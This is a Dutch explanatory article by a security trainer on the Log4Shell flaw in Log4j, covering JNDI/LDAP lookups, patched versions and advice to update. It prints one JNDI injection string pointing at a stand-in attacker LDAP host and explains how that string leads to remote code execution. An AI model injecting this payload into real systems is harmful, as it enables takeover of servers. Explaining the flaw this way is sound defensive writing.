Log4j logoVrijdag 9 december was de dag dat de Log4Shell kwetsbaarheid, die ook wel CVE-2021-44228 wordt genoemd, openbaar werd gemaakt. Het werd ontdekt op Github. Log4Shell is een kwetsbaarheid in de Log4j library die iemand anders code kan laten uitvoeren op jouw applicatie mits er gebruikersinvoer wordt gelogd.

Log4j is een library die het eenvoudiger maakt om data te loggen in Java applicaties. De gelogde gegevens kunnen van alles zijn, van softwarevariabelen tot bijvoorbeeld een naam van een gebruiker. Het is ook gebruikelijk dat applicaties gebruikersinvoer vastleggen, zoals HTTP-verzoeken, zodat ze kunnen achterhalen naar welke pagina's mensen en computers gaan op een site.

Een aanvaller kan de Log4j-kwetsbaarheid gebruiken om volledige controle over je systeem te krijgen als een van deze logs gebruikersinvoer bevat. Kwaadwillende hackers kunnen het logging systeem naar een Java-library van hun keuze sturen. Het protocol zal die library laden en de code meteen uitvoeren. Maar, hoe werkt dit nou precies?

Je zou verwachten dat een logging systeem alleen in staat zou moeten zijn om berichten als data te accepteren en ze te formatteren op de meest eenvoudige manier, maar dit is niet altijd het geval. Je kunt bijvoorbeeld lookups gebruiken om meer ingewikkelde dingen te doen met de Log4j library.

In Log4j zijn lookups een snelle en gemakkelijke manier om variabelen van externe locaties op te halen op elk moment tijdens het proces. Deze variabelen kunnen bijvoorbeeld via JNDI worden benaderd. Log4j, maakt bijvoorbeeld JNDI lookups mogelijk, zodat deze variabelen kunnen worden gebruikt.

Laten we, om dit beter te begrijpen, eerst beginnen met JNDI.

JNDI

Een Java client kan JNDI (Java Naming and Directory Interface) gebruiken om bronnen en gegevens op te halen bij een Directory Service door deze een specifieke naam te geven. Als een gebruiker controle heeft over de naam die wordt gebruikt om deze gegevens op te halen, kan hij deze naam naar een kwaadwillende server wijzen die een Java object terugstuurt dat hij wil hebben. Dit Java-object wordt dan gevonden, gedownload en uitgevoerd op dit systeem.

LDAP

Lightweight Directory Access Protocol (LDAP), is een protocol die het makkelijker maakt om gebruikers te managen en toegang te geven tot bepaalde bronnen. Een korte samenvatting van het protocol is als volgt: LDAP biedt een manier van directory-opslag en maakt het eenvoudiger om gebruikers te authenticeren en te autoriseren bij toegang tot bijvoorbeeld externe services.

JNDI kan dus ook gebruikt worden in combinatie met LDAP om bronnen op te halen uit deze directory services, en dat is waar de kwetsbaarheid in Log4j misbruik van maakt. Stel dat we de volgende aanval hebben en deze wordt uitgevoerd in een applicatie voor het loggen van gebruikersinvoer:

${jndi:ldap://evilhacker.domain:1389/exploit}

Log4j herkent dan de speciale syntax '${}' en begint deze te formatteren. In dit geval merkt Log4j de key 'jndi' op en begrijpt dat de JndiLookup plugin zal worden gebruikt. Vervolgens wordt geprobeerd verbinding te maken met de LDAP-server die draait op 'evilhacker.domain' om de bron 'exploit' daar op te halen. De LDAP server toont dan een link naar een locatie waar deze bron kan worden gedownload, zoals een HTTP server die onze kwaadaardige code bevat. Log4j downloadt deze code vervolgens en voert deze uit, zodat wij bijvoorbeeld commando's kunnen uitvoeren op de server waarop deze applicatie draait.

Het kan zelfs zijn dat deze kwetsbaarheid niet eens een directe dependency hoeft te zijn, het kan bijvoorbeeld een dependency zijn van een andere library die je gebruikt. Het is dus heel belangrijk dat je weet wat voor dependencies je allemaal hebt en overerft!

Tot en met Log4j versie 2.15.0 zat deze kwetsbaarheid in de software. Het werd verholpen in versie 2.16.0, maar alleen upgraden naar 2.16.0 is niet genoeg. Door deze kwetsbaarheid zijn meer mensen zich gaan verdiepen in Log4j, en natuurlijk vonden ze er nog meer. Dit is een Denial of Service (DoS) kwetsbaarheid genaamd CVE-2021-45105. Dit is natuurlijk ook riskant. Je wilt niet dat mensen geen gebruik kunnen maken van belangrijke diensten, dus upgraden naar Log4j versie 2.17.0 (waar dit verholpen is) is erg belangrijk.

Helaas zijn er nu mensen die actief misbruik maken van deze kwetsbaarheid. Ransomware heeft bijvoorbeeld al gebruik gemaakt van een kwetsbaarheid in de Log4j-software om computers binnen te dringen en bestanden te versleutelen. Het NCSC heeft al gewaarschuwd dat we op onze hoede moeten zijn voor bedreigingen tijdens de feestdagen, dit is natuurlijk het perfecte moment voor een hacker om in te grijpen want er is dan vaak minder of geen personeel beschikbaar.

In dit geval denk ik niet dat we hier zomaar vanaf zijn. Gelukkig zijn er ook goede mensen bezig met deze kwetsbaarheid, en dat is goed! Het Nederlandse NCSC (Nationaal Cyber Security Centrum) is bijvoorbeeld een lijst aan het samenstellen van alle software die kwetsbaar is voor deze kwetsbaarheid.

Je kunt hem vinden op https://github.com/NCSC-NL/log4shell/tree/main/software

Dit is natuurlijk een hoop werk, dus ik denk dat het nog wel even zal duren voordat alles in kaart is gebracht.

Mijn advies is, zorg dat je weet wat voor software je allemaal draait en wat voor versies deze hebben en onthoud, update all the things!

Jordy Zomer is een Security Trainer bij Certified Secure, naast zijn werk als Trainer besteed hij zijn vrije tijd aan het vinden van nieuwe vulnerabilities, het spelen van CTF's (Capture The Flag) en het analyseren van de meest interessante vulnerabilities!

Bron: Security.nl